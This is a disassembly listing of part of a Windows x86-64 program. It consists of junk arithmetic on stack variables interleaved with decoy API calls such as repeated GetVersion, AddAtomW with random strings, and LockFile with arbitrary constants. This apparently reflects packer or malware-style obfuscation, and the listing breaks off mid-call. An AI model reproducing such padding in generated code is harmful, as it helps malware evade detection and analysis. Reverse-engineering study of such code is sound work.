mov rax, qword [rsp + 0x148c0]
mov ecx, dword [rsp + 0xacac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab6c], eax
lea rax, [rsp + 0x6c9]
mov qword [rsp + 0x149a8], rax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0x13480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a44], ax
lea rax, [rsp + 0xab54]
mov qword [rsp + 0x149b0], rax
mov rax, qword [rsp + 0x13370]
mov ecx, dword [rsp + 0x8994]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac3c], eax
mov rax, qword [rsp + 0x14050]
mov ecx, dword [rsp + 0xa904]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa984]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x82e8], eax
movzx eax, word [rsp + 0x126c]
mov word [0x140362e3c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac64], eax
mov rax, qword [rsp + 0x149a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13698]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14620]
mov byte [rcx], al
mov rax, qword [rsp + 0x14958]
mov eax, dword [rax]
mov dword [rsp + 0xad24], eax
mov eax, dword [rsp + 0x7908]
mov rcx, qword [rsp + 0x14438]
mov qword [rsp + 0x149b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x86a8], eax
lea rcx, str.Ad90oaQUqulM5.sW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ba8], ax
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x149c0], rax
mov rax, qword [rsp + 0x143b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d5]
and eax, ecx
mov rcx, qword [rsp + 0x14740]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6ef]
mov rcx, qword [rsp + 0x13a18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6f3], al
movzx eax, word [rsp + 0x2a84]
movzx ecx, word [rsp + 0x29f0]
add eax, ecx
mov word [rsp + 0x22c8], ax
mov rax, qword [0x140363d00]
mov ecx, dword [rsp + 0xab84]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14600]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363c00]
mov dword [rcx], eax
lea rax, [rsp + 0x765c]
mov qword [rsp + 0x149c8], rax
mov rax, qword [rsp + 0x138d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7b5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x73a8]
mov ecx, dword [rsp + 0xa9f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14440]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b34]
mov word [rsp + 0x2bac], ax
movzx eax, byte [rsp + 0x6ea]
mov rcx, qword [rsp + 0x13f40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6ca], al
mov rax, qword [rsp + 0x133c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa99c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a7c], eax
mov eax, dword [rsp + 0x6768]
mov ecx, dword [rsp + 0xad14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14458]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13728]
mov ecx, dword [rsp + 0xacf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa96c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacc0], eax
mov rax, qword [rsp + 0x13658]
mov eax, dword [rax]
mov dword [0x140363d20], eax
lea rax, [0x14035cbe0]
mov qword [rsp + 0x149d0], rax
movzx eax, byte [rsp + 0x6e7]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x120], al
lea rax, [rsp + 0x2a64]
mov qword [rsp + 0x149d8], rax
mov rax, qword [rsp + 0x13eb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x305]
sar eax, cl
mov byte [rsp + 0x6ee], al
mov rax, qword [rsp + 0x142a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14008]
mov qword [rsp + 0x149e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x149e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xad28], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a14]
xor eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x13868]
movzx eax, byte [rax]
mov byte [rsp + 0x6f4], al
lea rax, [rsp + 0xab30]
mov qword [0x140363d28], rax
mov rax, qword [rsp + 0x13eb8]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13608]
mov dword [rcx], eax
lea rax, [0x140363960]
mov qword [rsp + 0x149e8], rax
mov eax, dword [rsp + 0xacf4]
mov ecx, dword [rsp + 0xacb0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabac], eax
movzx eax, byte [rsp + 0x6c9]
mov rcx, qword [rsp + 0x144d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a58]
mov rcx, qword [rsp + 0x14330]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2518], ax
mov rax, qword [rsp + 0x13680]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaa58], eax
lea rax, [rsp + 0xabdc]
mov qword [rsp + 0x149f0], rax
mov rax, qword [rsp + 0x14958]
mov rcx, qword [rsp + 0x13b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x143d8]
mov dword [rcx], eax
lea rcx, [rsp + 0x41aa8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x9564]
mov ecx, dword [rsp + 0xabdc]
and ecx, eax
mov eax, ecx
mov dword [0x1403639bc], eax
mov eax, dword [rsp + 0x7c34]
mov ecx, dword [rsp + 0x9e84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f48]
mov dword [rcx], eax
lea rax, [rsp + 0x1cc4]
mov qword [rsp + 0x149f8], rax
mov rax, qword [rsp + 0x136a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e6]
sub eax, ecx
mov rcx, qword [rsp + 0x136b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1cb4]
mov word [rsp + 0x2bb0], ax
mov rax, qword [rsp + 0x14318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ea]
add eax, ecx
mov byte [rsp + 0x65c], al
mov rax, qword [rsp + 0x13c10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14508]
mov qword [rsp + 0x14a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaae0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a0], eax
movzx eax, word [rsp + 0x184c]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a84], ax
movzx eax, byte [0x14035e4a4]
mov rcx, qword [rsp + 0x13598]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140363c10]
mov byte [rcx], al
lea rdx, [rsp + 0x14a08]
mov rcx, qword [rsp + 0x14178]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa34], eax
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xaac0]
mov qword [rsp + 0x14a10], rax
mov eax, dword [rsp + 0x71c8]
mov ecx, dword [rsp + 0xa184]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa724], eax
mov rax, qword [0x140363cd0]
mov eax, dword [rax]
mov dword [rsp + 0xad2c], eax
mov eax, dword [rsp + 0xace8]
mov ecx, dword [rsp + 0xab64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6cb]
movzx ecx, byte [rsp + 0x6b9]
sub eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
lea rdx, [rsp + 0x14a18]
mov rcx, qword [rsp + 0x13e08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xab60], eax
movzx eax, word [0x140362b7c]
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0x145f0]
mov ecx, dword [rsp + 0x86a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad20], eax
mov eax, dword [rsp + 0xa4c4]
mov ecx, dword [rsp + 0x71c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62dc], eax
lea rax, [rsp + 0x1784]
mov qword [0x140363d30], rax
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x134f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d98]
movzx eax, word [rax]
movzx ecx, word [0x140362afc]
sub eax, ecx
mov word [rsp + 0x29a0], ax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x14a20], rax
mov rax, qword [rsp + 0x14468]
mov ecx, dword [rsp + 0xac70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x965c], eax
lea rax, [rsp + 0x874c]
mov qword [rsp + 0x14a28], rax
mov rax, qword [0x140363b70]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x755c], eax
mov rax, qword [rsp + 0x13c88]
mov rcx, qword [rsp + 0x14680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bd8], eax
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b3c], ax
lea rax, [rsp + 0xa32c]
mov qword [rsp + 0x14a30], rax
mov rax, qword [rsp + 0x149d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14478]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1008], ax
lea rax, [rsp + 0x416]
mov qword [0x140363d38], rax
lea rax, [rsp + 0xab78]
mov qword [rsp + 0x14a38], rax
mov eax, dword [rsp + 0x6b2c]
mov rcx, qword [rsp + 0x13578]
mov qword [rsp + 0x14a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa9d4]
shl eax, cl
mov dword [rsp + 0x7c34], eax
lea rax, [rsp + 0x64f0]
mov qword [rsp + 0x14a48], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac64], eax
mov rax, qword [0x140363c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
or eax, ecx
mov word [rsp + 0x2aa4], ax
movzx eax, byte [rsp + 0x2c8]
mov byte [rsp + 0x6f5], al
movsx eax, byte [rsp + 0x6d2]
mov rcx, qword [rsp + 0x13d28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x28f], al
lea rax, [rsp + 0x2ad8]
mov qword [rsp + 0x14a50], rax
mov rax, qword [rsp + 0x14448]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov dword [0x140363c90], eax
mov rax, qword [rsp + 0x14100]
mov rcx, qword [rsp + 0x14950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13670]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x133f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14418]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14558]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x25c8], ax
mov rax, qword [0x140363998]
mov rcx, qword [rsp + 0x13e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9e80]
mov dword [rsp + 0xad30], eax
mov rax, qword [rsp + 0x149f0]
mov ecx, dword [rsp + 0xaba8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14410]
mov dword [rcx], eax
mov rax, qword [0x140363ac8]
mov ecx, dword [rsp + 0x7200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa950], eax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
mov byte [rsp + 0x6f6], al
movzx eax, word [rsp + 0x12b8]
movzx ecx, word [rsp + 0x2ab8]
sub eax, ecx
mov word [0x14035cc40], ax
mov rax, qword [rsp + 0x13898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a24], eax
mov eax, dword [rsp + 0x8428]
movzx ecx, al
mov eax, dword [rsp + 0x7e54]
sar eax, cl
mov dword [rsp + 0x9218], eax
mov rax, qword [rsp + 0x144e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x66e0]
shl eax, cl
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0x13c20]
mov rcx, qword [rsp + 0x14050]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8398], eax
lea rax, [rsp + 0xaa5c]
mov qword [rsp + 0x14a58], rax
movsx eax, word [rsp + 0x2a78]
movsx ecx, word [0x140353b08]
or eax, ecx
mov word [rsp + 0x1f1c], ax
lea rax, [rsp + 0x6bf]
mov qword [rsp + 0x14a60], rax
mov r9d, 1
lea r8, [rsp + 0x13a08]
mov rdx, qword [rsp + 0x142d0]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad34], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ab0], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c9], al
movzx eax, word [0x140362bdc]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362e3c], ax
mov rax, qword [rsp + 0x13d20]
mov rcx, qword [rsp + 0x13d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa78c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
lea rax, [rsp + 0xa2a4]
mov qword [rsp + 0x14a68], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x19d8]
mov rcx, qword [rsp + 0x144f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14298]
mov word [rcx], ax
lea rax, [rsp + 0x65d]
mov qword [rsp + 0x14a70], rax
mov rax, qword [rsp + 0x14808]
mov rcx, qword [rsp + 0x14888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80d0], eax
mov eax, dword [0x140363a18]
mov dword [rsp + 0xad3c], eax
mov eax, 0x38
imul rax, rax, 4
lea rcx, [rsp + 0x4a160]
add rcx, rax
mov rax, rcx
add rax, 8
lea rcx, [0x140353b10]
mov qword [rax], rcx
mov dword [rsp + 0x20], 0x1c78
mov r9d, 0x2740
mov r8d, 0xabf
mov edx, 0x184f
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa7c4], eax
mov eax, dword [rsp + 0xa90c]
mov ecx, dword [rsp + 0xab74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa48], eax
mov rax, qword [rsp + 0x14628]
mov rcx, qword [rsp + 0x13f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa350], eax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13468]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140363aa8]
mov byte [rcx], al
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0x14a78], rax
mov rax, qword [rsp + 0x14498]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70b8], eax
lea rax, [rsp + 0xaa88]
mov qword [rsp + 0x14a80], rax
movsx eax, word [rsp + 0x2b54]
movsx ecx, word [rsp + 0x2aec]
shl eax, cl
mov rcx, qword [rsp + 0x14368]
mov word [rcx], ax
mov rax, qword [rsp + 0x14340]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4a5]
sar eax, cl
mov rcx, qword [rsp + 0x13250]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x436], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14418]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29c0], ax
mov eax, dword [0x140363a20]
mov dword [rsp + 0xad40], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
lea rax, [rsp + 0x6874]
mov qword [0x140363d40], rax
mov eax, dword [rsp + 0xa904]
mov ecx, dword [rsp + 0xa7d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f4], eax
mov eax, dword [0x140363ae8]
mov ecx, dword [rsp + 0x9c08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x64f0], eax
lea rax, [rsp + 0xaab8]
mov qword [rsp + 0x14a88], rax
mov rax, qword [rsp + 0x141b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
add eax, ecx
mov word [rsp + 0x29a4], ax
lea rax, [0x14035e48e]
mov qword [rsp + 0x14a90], rax
mov eax, dword [rsp + 0xa984]
mov ecx, dword [rsp + 0x9218]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac18], eax
lea rax, [rsp + 0xaa80]
mov qword [rsp + 0x14a98], rax
mov rax, qword [rsp + 0x13da8]
mov ecx, dword [rsp + 0xab68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xacd8], eax
mov rax, qword [rsp + 0x143a0]
mov ecx, dword [rsp + 0x910c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1403639a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a84]
add eax, ecx
mov rcx, qword [rsp + 0x14428]
mov word [rcx], ax
lea rax, [rsp + 0x4f6]
mov qword [rsp + 0x14aa0], rax
mov rax, qword [rsp + 0x143d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
sub eax, ecx
mov word [rsp + 0x1784], ax
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x14aa8], rax
mov rax, qword [rsp + 0x134c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x965c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa97c], eax
mov eax, dword [rsp + 0xac00]
mov ecx, dword [rsp + 0xa2bc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ed4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad44], eax
movzx eax, byte [rsp + 0x436]
mov byte [rsp + 0x6f7], al
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0x13db0]
mov eax, dword [rax]
mov dword [0x140363d24], eax
lea rax, [rsp + 0xa984]
mov qword [rsp + 0x14ab0], rax
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac0], ax
mov rax, qword [0x1403639d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9370]
shl eax, cl
mov rcx, qword [rsp + 0x145c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa20], eax
lea rax, [rsp + 0x6c9]
mov qword [rsp + 0x14ab8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad38], eax
movzx eax, word [rsp + 0x2690]
mov rcx, qword [0x140363958]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1088], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad48], eax
mov eax, dword [rsp + 0xab34]
mov ecx, dword [rsp + 0x7114]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x90d0], eax
mov rax, qword [rsp + 0x14370]
mov rcx, qword [rsp + 0x13798]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13b18]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab80], eax
mov rax, qword [rsp + 0x148b0]
mov ecx, dword [rsp + 0xac60]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x70c0], eax
mov rax, qword [rsp + 0x139a0]
mov rcx, qword [rsp + 0x138a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [str.__M6_f], eax
lea rax, [rsp + 0xab90]
mov qword [rsp + 0x14ac0], rax
mov rax, qword [rsp + 0x136a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14340]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x13998]
movzx eax, word [rax]
mov word [rsp + 0x2bb8], ax
mov rax, qword [rsp + 0x13440]
movzx eax, byte [rax]
mov rcx, qword [0x140363ba8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5fb], al
lea rax, [rsp + 0x29b4]
mov qword [rsp + 0x14ac8], rax
lea rcx, [rsp + 0x41bc8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13d18]
mov ecx, dword [rsp + 0xad40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f38]
mov ecx, dword [0x14035cbdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14530]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1de8], ax
movzx eax, byte [rsp + 0x6e7]
movzx ecx, byte [rsp + 0x6c4]
sub eax, ecx
mov rcx, qword [0x140363a50]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2942
mov r9d, 0x14fa
mov r8d, 0xbeab858d
mov edx, 1
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xac8c], eax
lea rcx, [rsp + 0x41d18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13e90]
mov eax, dword [rax]
mov ecx, dword [0x140363c90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac54], eax
lea rax, [rsp + 0xa9b4]
mov qword [rsp + 0x14ad0], rax
mov rax, qword [rsp + 0x14538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacc4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8958], eax
mov eax, dword [rsp + 0xaa44]
movzx ecx, al
mov eax, dword [rsp + 0xaca4]
shl eax, cl
mov dword [rsp + 0x7b5c], eax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x14ad8], rax
mov rax, qword [rsp + 0x14750]
movzx eax, word [rax]
mov rcx, qword [0x1403639e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29ec], ax
mov eax, dword [rsp + 0x9c30]
mov dword [rsp + 0xad4c], eax
mov rax, qword [rsp + 0x13ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a38]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2a78]
mov rcx, qword [rsp + 0x141b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140363af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
and eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
lea rax, [rsp + 0x2b2c]
mov qword [rsp + 0x14ae0], rax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4d4]
add eax, ecx
mov byte [rsp + 0x6e7], al
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab60], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [rsp + 0xac60]
mov qword [rsp + 0x14ae8], rax
mov rax, qword [rsp + 0x132c0]
mov ecx, dword [rsp + 0xacac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7820], eax
mov rax, qword [rsp + 0x13bf8]
mov rcx, qword [0x140363bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8c9c], eax
mov rax, qword [rsp + 0x13f48]
mov ecx, dword [rsp + 0x7c34]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab74], eax
lea rcx, str.ElLzR3qn_PBTS.92FLTx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x13550]
mov rcx, qword [rsp + 0x13aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13d70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6e4]
mov byte [rsp + 0x6f8], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
movzx eax, word [rsp + 0x2b60]
mov word [0x140362e64], ax
mov eax, dword [rsp + 0xa8ac]
mov ecx, dword [rsp + 0xacac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14468]
mov dword [rcx], eax
mov r9d, 0x1f00
xor r8d, r8d
lea rdx, [rsp + 0x13ca8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa994], eax
mov eax, dword [0x140363b44]
mov dword [rsp + 0xad50], eax
mov rax, qword [rsp + 0x146a8]
mov rcx, qword [rsp + 0x14460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa914], eax
mov eax, dword [rsp + 0xabf8]
movzx ecx, al
mov eax, dword [rsp + 0xaa54]
shl eax, cl
mov dword [rsp + 0x7078], eax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e0]
sar eax, cl
mov byte [rsp + 0x1d2], al
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x29a0]
xor eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x14af0], rax
mov rax, qword [0x1403639e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
lea rax, [rsp + 0xa78c]
mov qword [0x140363d48], rax
mov r9d, 1
lea r8, [rsp + 0x13c00]
mov rdx, qword [rsp + 0x13058]
